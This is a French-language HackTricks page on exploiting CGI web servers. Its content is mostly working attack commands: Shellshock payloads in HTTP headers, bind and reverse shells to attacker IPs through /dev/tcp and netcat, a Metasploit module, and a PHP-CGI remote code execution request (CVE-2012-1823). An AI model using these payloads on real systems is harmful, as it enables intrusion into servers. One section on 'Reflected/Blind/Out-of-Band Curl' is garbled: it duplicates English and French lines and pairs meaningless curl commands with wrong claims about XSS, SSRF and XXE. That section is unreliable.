☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
# Information
Les scripts **CGI sont des scripts perl**, donc si vous avez compromis un serveur qui peut exécuter des scripts _**.cgi**_, vous pouvez **télécharger un shell inversé perl** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **changer l'extension** de **.pl** à **.cgi**, donner des **permissions d'exécution** \(`chmod +x`\) et **accéder** au shell inversé **depuis le navigateur web** pour l'exécuter.
Pour tester les **vulnérabilités CGI**, il est recommandé d'utiliser `nikto -C all` \(et tous les plugins\)
# **ShellShock**
Bash peut également être utilisé pour exécuter des commandes transmises par des applications et c'est cette fonctionnalité qui est affectée par la vulnérabilité. Un type de commande qui peut être envoyée à Bash permet de définir des variables d'environnement. Les variables d'environnement sont des valeurs nommées dynamiques qui affectent la façon dont les processus sont exécutés sur un ordinateur. La vulnérabilité réside dans le fait qu'un **attaquant peut ajouter du code malveillant à la variable d'environnement, qui s'exécutera une fois que la variable est reçue**.
En exploitant cette vulnérabilité, la **page pourrait renvoyer une erreur**.
Vous pourriez **trouver** cette vulnérabilité en remarquant qu'elle utilise une **ancienne version d'Apache** et **cgi\_mod** \(avec le dossier cgi\) ou en utilisant **nikto**.
## **Test**
La plupart des tests sont basés sur l'affichage de quelque chose et s'attendent à ce que cette chaîne soit renvoyée dans la réponse web. Si vous pensez qu'une page peut être vulnérable, recherchez toutes les pages cgi et testez-les.
**Nmap**
```bash
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
```
## **Curl (réfléchi, aveugle et hors bande)**
### **Reflected Curl**
### **Curl réfléchi**
Reflected Curl is a technique that consists of sending a specially crafted request to a web application in order to reflect back the same request to the user. This technique is commonly used to perform XSS attacks.
Curl réfléchi est une technique qui consiste à envoyer une requête spécialement conçue à une application web afin de renvoyer la même requête à l'utilisateur. Cette technique est couramment utilisée pour effectuer des attaques XSS.
To perform a Reflected Curl attack, you can use the following command:
Pour effectuer une attaque Curl réfléchi, vous pouvez utiliser la commande suivante :
```
curl "http://example.com/search?query="
```
### **Blind Curl**
### **Curl aveugle**
Blind Curl is a technique that consists of sending a specially crafted request to a web application in order to trigger a DNS lookup on a domain controlled by the attacker. This technique is commonly used to perform SSRF attacks.
Curl aveugle est une technique qui consiste à envoyer une requête spécialement conçue à une application web afin de déclencher une recherche DNS sur un domaine contrôlé par l'attaquant. Cette technique est couramment utilisée pour effectuer des attaques SSRF.
To perform a Blind Curl attack, you can use the following command:
Pour effectuer une attaque Curl aveugle, vous pouvez utiliser la commande suivante :
```
curl "http://example.com/search?url=http://attacker.com"
```
### **Out-of-Band Curl**
### **Curl hors bande**
Out-of-Band Curl is a technique that consists of sending a specially crafted request to a web application in order to trigger an external system to perform an action on behalf of the attacker. This technique is commonly used to perform XXE attacks.
Curl hors bande est une technique qui consiste à envoyer une requête spécialement conçue à une application web afin de déclencher un système externe pour effectuer une action au nom de l'attaquant. Cette technique est couramment utilisée pour effectuer des attaques XXE.
To perform an Out-of-Band Curl attack, you can use the following command:
Pour effectuer une attaque Curl hors bande, vous pouvez utiliser la commande suivante :
```
curl "http://example.com/search?xml=attackerattacker@example.com"
```
```bash
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
```
[**Shellsocker**](https://github.com/liamim/shellshocker)
Shellsocker est un outil qui permet de tester si un serveur est vulnérable à la faille Shellshock. Il envoie des requêtes HTTP avec des en-têtes User-Agent malveillants pour déclencher l'exécution de commandes arbitraires sur le serveur cible. Cet outil peut être utilisé pour tester la vulnérabilité de serveurs web, de serveurs de messagerie et d'autres services qui utilisent des scripts CGI.
```bash
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
```
## Exploitation
```bash
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run
```
# **Proxy \(MitM pour les requêtes du serveur Web\)**
CGI crée une variable d'environnement pour chaque en-tête de la requête http. Par exemple: "host:web.com" est créé comme "HTTP\_HOST"="web.com"
Comme la variable HTTP\_PROXY peut être utilisée par le serveur Web. Essayez d'envoyer un **en-tête** contenant: "**Proxy: <IP\_attaquant>:<PORT>**" et si le serveur effectue une requête pendant la session. Vous pourrez capturer chaque requête effectuée par le serveur.
# Ancien PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
Essentiellement, si cgi est actif et que php est "ancien" \(<5.3.12 / < 5.4.2\), vous pouvez exécuter du code.
Pour exploiter cette vulnérabilité, vous devez accéder à un fichier PHP du serveur Web sans envoyer de paramètres \(surtout sans envoyer le caractère "="\).
Ensuite, pour tester cette vulnérabilité, vous pouvez accéder par exemple à `/index.php?-s` \(notez le `-s`\), et le **code source de l'application apparaîtra dans la réponse**.
Ensuite, pour obtenir **RCE**, vous pouvez envoyer cette requête spéciale: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` et le **code PHP** à exécuter dans le **corps de la requête**.
Exemple:
```bash
curl -i --data-binary "" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
```
**Plus d'informations sur la vulnérabilité et les exploits possibles:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**Exemple de CTF Writeup**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.